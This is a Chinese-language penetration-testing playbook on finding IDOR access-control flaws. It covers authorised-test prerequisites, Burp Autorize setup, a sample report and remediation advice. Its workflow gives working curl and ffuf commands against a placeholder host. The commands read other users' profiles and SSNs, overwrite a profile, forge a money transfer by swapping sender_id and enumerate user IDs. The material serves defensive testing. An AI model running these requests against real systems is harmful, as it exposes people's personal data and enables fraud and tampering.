利用 IDOR 漏洞(Exploiting IDOR Vulnerabilities)
适用场景
- 在授权渗透测试期间测试资源端点上的访问控制
- 当 API 或网页在 URL 或请求体中使用可预测标识符(数字 ID、UUID、slug)时
- 验证对象级授权是否在所有 CRUD 操作中得到执行
- 测试多租户应用程序,其中用户只能访问自己的数据
- 在针对访问控制失效漏洞的漏洞奖励计划期间
前置条件
- 授权:针对目标应用程序的书面渗透测试协议
- Burp Suite Professional:从 BApp Store 安装了 Authorize 扩展
- 两个测试账户:至少两个具有不同权限级别的独立用户账户
- Burp Authorize 扩展:用于跨会话的自动化 IDOR 测试
- curl/httpie:用于手动请求构建
- 浏览器:配置为通过 Burp Suite 代理
工作流程
步骤 1:映射应用程序中的所有对象引用
识别应用程序中每个通过 ID 引用对象的端点。
# 以用户 A 身份通过 Burp 代理浏览应用程序
# 在 Burp Target > Site Map 中查看带有对象引用的端点
# 常见容易出现 IDOR 的端点:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}
# 从 Burp 代理历史中提取所有带 ID 的端点
# Burp > Proxy > HTTP History > 按目标域名过滤
# 查找模式:/resource/123、?id=123、{"user_id": 123}
# 检查不同的 ID 格式:
# 数字顺序:/users/101、/users/102
# UUID:/users/550e8400-e29b-41d4-a716-446655440000
# Base64 编码:/users/MTAx(解码为 "101")
# 哈希:/users/5d41402abc4b2a76b9719d911017c592
# Slug:/users/john-doe
步骤 2:配置 Burp Authorize 扩展进行自动化测试
设置 Authorize 扩展以自动用不同用户的会话重放请求。
# 从 BApp Store 安装 Authorize:
# Burp > Extender > BApp Store > 搜索 "Authorize" > 安装
# 配置:
# 1. 在独立浏览器/隐身模式下以用户 B(受害者)身份登录
# 2. 复制用户 B 的会话 cookie/授权头
# 3. 在 Authorize 标签 > 配置中:
# - 在"Replace cookies"部分添加用户 B 的 cookies
# - 或在"Replace headers"中添加用户 B 的 Authorization 头
# 示例头替换:
# 原始(用户 A):Authorization: Bearer <token_A>
# 替换为(用户 B):Authorization: Bearer <token_B>
# 4. 启用"Intercept requests from Repeater"
# 5. 启用"Intercept requests from Proxy"
# Authorize 会显示:
# - 绿色:正确限制(不同用户得到不同响应)
# - 红色:可能存在漏洞(无论用户不同响应相同)
# - 橙色:不确定(需要手动验证)
步骤 3:测试水平 IDOR(同等权限级别)
尝试访问同等权限级别的另一个用户的资源。
# 以用户 A(ID:101)身份认证
TOKEN_A="Bearer eyJ..."
# 获取用户 A 自己的资源
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# 尝试用用户 A 的令牌访问用户 B 的资源(ID:102)
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# 比较响应 - 如果两者都返回 200 且带有数据,则 IDOR 已确认
# 跨不同资源类型测试
for resource in profile orders invoices messages documents; do
echo "--- 测试 $resource ---"
# 用户 A 的资源
curl -s -o /dev/null -w "自己: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
# 用户 B 的资源
curl -s -o /dev/null -w "其他: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
# 测试 POST/PUT/DELETE 的写入型 IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"
步骤 4:测试垂直 IDOR(跨权限级别)
尝试用普通用户令牌访问管理员或更高权限的资源。
# 以普通用户身份尝试访问管理员用户资料
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
# 尝试访问管理员特定资源
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
# 测试跨组织边界访问资源
# 组织 A 中的用户尝试访问组织 B 的资源
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
# 测试文件下载 IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf
步骤 5:在非明显位置测试 IDOR
在请求体、请求头和间接引用中寻找 IDOR。
# 请求体参数中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"
# 将 sender_id 更改为另一个用户
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"
# 文件引用中的 IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
# GraphQL 中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"
# 通过参数污染的 IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"
# 批量操作中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"
步骤 6:枚举并升级影响
通过 IDOR 确定数据暴露的完整范围。
# 枚举有效对象 ID
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
# 统计可访问的记录总数
jq '.results | length' valid-users.json
# 检查每条记录暴露了哪些敏感数据
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'
# 寻找:email、phone、address、ssn、payment_info、password_hash
# 测试 IDOR 对状态更改操作的影响
# 用户 A 能否删除用户 B 的资源?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"
# 警告:只对已知测试数据测试 DELETE,绝不对真实用户数据测试
核心概念
| 概念 | 定义 |
|---|---|
| 水平 IDOR(Horizontal IDOR) | 访问同等权限级别的另一个用户的资源 |
| 垂直 IDOR(Vertical IDOR) | 访问需要比当前用户更高权限的资源 |
| 直接对象引用(Direct Object Reference) | 在 API 参数中直接使用数据库键、文件路径或标识符 |
| 间接对象引用(Indirect Object Reference) | 使用服务器解析为实际对象的映射引用(如索引) |
| 对象级授权(Object-Level Authorization) | 服务器端检查请求用户是否有权访问特定对象 |
| 可预测 ID(Predictable IDs) | 允许轻松枚举有效对象的顺序数字标识符 |
| UUID 随机性(UUID Randomness) | 使用 UUIDv4 使枚举更困难,但不能替代授权检查 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 带有 Intruder 用于 ID 枚举和 Repeater 用于手动测试的 HTTP 代理 |
| Authorize (Burp 扩展) | 通过用不同用户会话重放请求进行自动化 IDOR 测试 |
| AutoRepeater (Burp 扩展) | 自动重复带修改授权头的请求 |
| Postman | 使用环境变量在用户上下文之间切换的 API 测试 |
| ffuf | 对象 ID 参数的快速模糊测试 |
| OWASP ZAP | 带访问控制测试插件的免费代理替代方案 |
常见场景
场景:发票下载 IDOR
/invoices/{id}/download 端点生成 PDF 发票。通过递增发票 ID,任何已认证用户都可以下载属于其他客户的发票,暴露账单地址和付款详情。
场景:用户资料数据泄露
/api/users/{id} 端点返回完整的用户资料,包括电子邮件、电话和地址。API 只检查请求是否有有效令牌,但从不验证令牌所有者是否与请求的用户 ID 匹配。
场景:通过路径操纵访问文件
文档管理系统将文件存储在 /files/{user_id}/{filename} 下。通过更改 user_id 路径段,用户可以访问其他用户上传的私人文档。
场景:消息线程劫持
/api/conversations/{id}/messages 处的消息端点允许任何已认证用户通过更改会话 ID 来读取任何对话中的消息。
输出格式
## IDOR 漏洞发现
**漏洞**: 不安全的直接对象引用(水平 IDOR)
**严重性**: 高(CVSS 7.5)
**位置**: GET /api/v1/users/{id}/profile
**OWASP 类别**: A01:2021 - 访问控制失效
### 复现步骤
1. 以用户 A(ID:101)身份认证并获取 JWT 令牌
2. 使用用户 A 的令牌发送 GET /api/v1/users/101/profile(返回自己的资料)
3. 将 ID 更改为 102:使用用户 A 的令牌发送 GET /api/v1/users/102/profile
4. 观察到返回了用户 B 的完整资料,包括个人身份信息
### 受影响端点
| 端点 | 方法 | 影响 |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | 读取任意用户的个人身份信息 |
| /api/v1/users/{id}/orders | GET | 读取任意用户的订单历史 |
| /api/v1/users/{id}/profile | PUT | 修改任意用户的资料 |
| /api/v1/invoices/{id}/download | GET | 下载任意用户的发票 |
### 影响
- 超过 15,000 个用户资料可访问(枚举 ID 1-15247)
- 暴露字段:姓名、电子邮件、电话、地址、出生日期
- 写入型 IDOR 允许修改其他用户的资料
- 违反 GDPR 数据访问控制
### 建议
1. 实施对象级授权:验证请求用户拥有或有权访问所请求的对象
2. 使用不可枚举标识符(UUIDv4)作为纵深防御措施
3. 记录并警报顺序 ID 枚举模式
4. 对资源端点实施速率限制